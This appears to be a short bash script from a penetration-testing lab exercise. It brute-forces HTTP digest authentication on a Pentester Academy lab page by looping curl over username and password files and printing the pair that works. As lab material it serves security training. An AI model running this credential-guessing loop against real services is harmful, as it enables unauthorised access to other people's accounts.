bin bash while read user do while read pass do test curl -v --digest -

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#!/bin/bash
while read user
do
while read pass
do
test="`curl -v --digest -u $user:$pass "http://pentesteracademylab.appspot.com/lab/webapp/digest/1" 2>&1 | grep 'Unauthorized! Unauthorized! Unauthorized :) :)'`"
if [ -z "$test" ]
then
echo "$user :: $pass"
break
fi
done < pass
done < user